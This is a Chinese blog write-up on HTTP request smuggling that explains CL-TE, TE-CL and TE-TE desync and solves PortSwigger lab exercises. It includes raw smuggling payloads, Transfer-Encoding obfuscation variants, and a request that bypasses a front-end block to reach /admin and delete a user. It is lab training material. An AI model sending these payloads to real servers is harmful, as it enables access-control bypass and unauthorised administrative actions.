CTF题型 Http请求走私总结&Burp靶场例题

CTF题型 Http请求走私总结&靶场例题

文章目录

  • CTF题型 Http请求走私总结&靶场例题
  • HTTP请求走私
    • HTTP请求走私漏洞原理分析
      • 为什么用前端服务器
      • 漏洞原理
      • 界定标准
      • 界定长度
    • 重要!!!实验环境前提
    • POST数据包结构必要结构
    • 快速判断Http请求走私类型
      • 时间延迟
        • CL-TE
        • TE-CL
    • 练习例题
      • CL-TE 例题
      • TE-CL例题
      • TE-TE例题
    • 漏洞利用实例
      • 利用HTTP请求走私绕过前端安全控制TE.CL漏洞

HTTP请求走私

HTTP请求走私漏洞原理分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D0NWmg1i-1722351837533)(https://i-blog.csdnimg.cn/blog_migrate/9bfbcc25b5ee4091846bb37c3430cd12.png)]

为什么用前端服务器

keep-alive 与 pipeline

为了缓解源站的压力,一般会在用户和后端服务器(源站)之间加设前置服务器,用以缓存、简单校验、负载均衡等,而前置服务器与后端服务器往往是在可靠的网络域中,ip 也是相对固定的,所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销。这里就用到了 HTTP1.1 中的 Keep-AlivePipeline 特性:

所谓 Keep-Alive,就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive,告诉服务器,接收完这次 HTTP 请求后,不要关闭 TCP 链接,后面对相同目标服务器的 HTTP 请求,重用这一个 TCP 链接,这样只需要进行一次 TCP 握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。这个特性在 HTTP1.1 中是默认开启的。

有了 Keep-Alive 之后,后续就有了 Pipeline,在这里呢,客户端可以像流水线一样发送自己的 HTTP 请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用 Pipeline 的,但是一般的服务器都提供了对 Pipleline 的支持。

漏洞原理

请求走私本质上是利用不同服务器对请求长度头部(Content-Length)解析时产生的差异。

重点在于 前后端服务器对 HTTP数据包有不同的解析差异

最典型的就是 Http数据包被前端服务器解析后 传递 给后端服务器,但是后端服务器仅仅解析一部分Http数据包,剩下的Http请求被 “缓存” 下来,那么我们称这留下来的一部分为走私请求,对接下来 正常用户的请求造成影响

攻击一定是前端可以解析全部,后端解析部分,造成 “缓存”

界定标准

CL 和 TE 即是 Content-LengthTransfer-Encoding 请求头

  1. CL-TE:前置服务器认为 Content-Length 优先级更高(或者根本就不支持 Transfer-Encoding ) ,后端认为 Transfer-Encoding 优先级更高

  2. TE-CL:前置服务器认为 Transfer-Encoding 优先级更高,后端认为 Content-Length 优先级更高(或者不支持 Transfer-Encoding

  3. TE-TE:前置和后端服务器都支持 Transfer-Encoding,但可以通过混淆让它们在处理时产生分歧

    设置了 Transfer-Encoding: chunked 后,请求主体按一系列块的形式发送,并将省略 Content-Length。在每个块的开头需要用十六进制数指明当前块的长度,数值后接 \r\n(占 2 字节),然后是块的内容,再接 \r\n 表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。

界定长度

  1. Content-Length 需要将请求主体中的 \r\n 所占的 2 字节计算在内,而块长度要忽略块内容末尾表示终止的 \r\n

  2. 请求头与请求主体之间有一个空行,是规范要求的结构,并不计入 Content-Length

    换行 前不看CL,后不看TE

重要!!!实验环境前提

关闭burp自动 更新Content-Length

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FUwlWlH5-1722351837534)(https://i-blog.csdnimg.cn/blog_migrate/e0bbcb9fbeb5c1d21d359dccffb61059.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YWFZMDF-1722351837535)(https://i-blog.csdnimg.cn/blog_migrate/d07fc8524f209c779f907ffdb2287445.png)]

可以用Notepad++计算长度 换行转换为 Windows (CR LF) 算两个字符便于快速计算长度

必须自己改HTTP/1.1 在Inspector中改 http协议

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QAuc4qDo-1722351837535)(https://i-blog.csdnimg.cn/blog_migrate/21793304e43788e34f8d8fa69c3639be.png)]

POST数据包结构必要结构

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
[我是换行]
[我是数据]

一个正常的POST数据包必须有

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7XcQAvij-1722351837536)(https://i-blog.csdnimg.cn/blog_migrate/cf56a4366c82ab0f70eee26edbbcc76d.png)]

快速判断Http请求走私类型

以下实验环境网站

CL-TE https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses

TE-CL https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses

时间延迟

要首先验证CL.TE,排除后再验证TE.CL,否则产生其他影响。

CL-TE

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-28pncSlt-1722351837536)(https://i-blog.csdnimg.cn/blog_migrate/7ad579509b86ef76f532fd7d4f50b709.png)]

可以自己改HTTP/1.1 在Inspector中改 http协议

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KUKnhJdt-1722351837537)(https://i-blog.csdnimg.cn/blog_migrate/23e383fbd76e7a6a1bbaddddbdc48d7e.png)]

POST / HTTP/1.1
Host: 0ad7007204b6b7768010cb76004500db.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
A

前端服务器 content-type传递了 1/r/nA [4个字符]

后端服务器 等待 0 作为结束块,进行等待,到超时

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3yS5T1Xi-1722351837537)(https://i-blog.csdnimg.cn/blog_migrate/f458afdebe460426f55edc3e47cab033.png)]

TE-CL
POST / HTTP/1.1
Host: 0afe00dc041f4f9881dca4760096003d.web-security-academy.net
Content-Length: 0
Transfer-Encoding: chunked

0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IjO05RuH-1722351837538)(https://i-blog.csdnimg.cn/blog_migrate/58366ef6a63f56dd32f2660fa7360636.png)]

后端服务器等待 Content-lenth长度,发生等待

练习例题

CL-TE 例题

前置服务器认为 Content-Length 优先级更高(或者根本就不支持 Transfer-Encoding ) ,后端认为 Transfer-Encoding 优先级更高。

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OT1c7llE-1722351837538)(https://i-blog.csdnimg.cn/blog_migrate/7b4fc78639c65f46def9ed0e3d03ebd5.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Goew2jSH-1722351837538)(https://i-blog.csdnimg.cn/blog_migrate/20a4df780ecb6ec02908cf13ca28fd91.png)]

可以轻易判断有6个字符

POST / HTTP/1.1
Host: 0acf000004b5d9a08101483000920008.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
0

G

被传递给后端 后端读到0终止

G 被缓存下来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nL6ZKRkV-1722351837539)(https://i-blog.csdnimg.cn/blog_migrate/c99f6e4d231f30a45cc7df2ba031a320.png)]

后续请求造成HTTP请求走私

TE-CL例题

TE-CL:前置服务器认为 Transfer-Encoding 优先级更高,后端认为 Content-Length 优先级更高(或者不支持 Transfer-Encoding )。

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

如果我们仿照CL-TE的构造思路

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
G
0

前端TE带入

1
G
0

后端CL解析

1
G

是不行的,不可避免带入 0 给后端服务器 (有G必有0)

官方给出的思路

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[我是换行]
[我是换行]

这里的5c是如何来的?

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iKn0zOBn-1722351837539)(https://i-blog.csdnimg.cn/blog_migrate/410a77931336134673aaf3d4578aa74f.png)]

有92的字符转换为16进制就是5C

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KpdSGoiq-1722351837540)(https://i-blog.csdnimg.cn/blog_migrate/2a4477400cb4046e410e10def74f0dee.png)]

这里的第二个Content-Length为什么是15?

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Tlh5Nwwl-1722351837541)(https://i-blog.csdnimg.cn/blog_migrate/66e4ab27d98c086c599544981f8c2c82.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vck4ZEpZ-1722351837541)(https://i-blog.csdnimg.cn/blog_migrate/e48c7c5b9cd5f7303e0adb706f2ec385.png)]

加了两个换号
我觉得是因为 第一个换行是分块0结束后换行的格式,第二个换行标识消息头结束
最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7xLvZnG4-1722351837542)(https://i-blog.csdnimg.cn/blog_migrate/88941f5e8722cd20e93e727e96ce2059.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ncru9eFQ-1722351837542)(https://i-blog.csdnimg.cn/blog_migrate/22a7b58e28a56f80385239aa3200339b.png)]

如何计算都得不到15?.. 还是记下来以后解决

后记,因为需要把下一个数据包进来的请求头给挤掉,不然后端会认为是两个请求,只要比原先的Content-Length更长一点就可以了

整体分析

GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[换行]
[换行]

这一部分被"缓存"下来 实现HTTP请求走私

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tfRzb5XD-1722351837543)(https://i-blog.csdnimg.cn/blog_migrate/05e1c7656e6eb2ec88d088f6d91ecd4b.png)]

TE-TE例题

TE-TE:前置和后端服务器都支持 Transfer-Encoding,但可以通过混淆让它们在处理时产生分歧,其实也就是变成了 CL-TE 或 TE-CL

https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3q9Ocywa-1722351837543)(https://i-blog.csdnimg.cn/blog_migrate/04544e78218ccb5e68e803d8b114fb07.png)]

PortSwigger 给出了一些可用于混淆的 payload:

Transfer-Encoding: xchunked

Transfer-Encoding[空格]: chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[空格]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

前置和后端服务器可能对 TE 这个不规范的请求头的处理产生分歧

官方payload 通过加入混淆代码Transfer-encoding: cow 变为TE-CL类型

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[换行]
[换行]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EMF9ggXq-1722351837544)(https://i-blog.csdnimg.cn/blog_migrate/d373cd91e1784ee1ed7808a340b06693.png)]

实现HTTP请求走私攻击

漏洞利用实例

利用HTTP请求走私绕过前端安全控制TE.CL漏洞

TE-CL型

https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Gam3Is9-1722351837545)(https://i-blog.csdnimg.cn/blog_migrate/ed5a6cfa9daf75c7785cae3648e4527a.png)]

前端限制直接访问/admin 被拒绝

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xl3jGzwd-1722351837545)(https://i-blog.csdnimg.cn/blog_migrate/3ecc0d90e8f9e96a7a1b7d9a5fcfcddd.png)]

构造payload

POST / HTTP/1.1
Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[换行]
[换行]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dMsaFVLP-1722351837546)(https://i-blog.csdnimg.cn/blog_migrate/449ac18099f8334c8ede1c3791c9b1db.png)]

HTTP走私内容添加 Host: localhost

添加后payload(注意改16进制的数值)

GET / HTTP/1.1
Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[换行]
[换行]

返回

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-91Jncp0N-1722351837546)(https://i-blog.csdnimg.cn/blog_migrate/bbe9a108d704efd2564ba0b1cb4a7558.png)]

尝试直接点击,被禁止,多半前端服务器又做了安全限制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3HC9wi2M-1722351837547)(https://i-blog.csdnimg.cn/blog_migrate/55a41bb3cffc9ddc5f61de95c3de1e08.png)]

GET / HTTP/1.1
Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

88
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[换行]
[换行]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bJ6vH37o-1722351837547)(https://i-blog.csdnimg.cn/blog_migrate/440752775e756c5be027808b8ce0b1ab.png)]

可以删除成功

  • 26
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值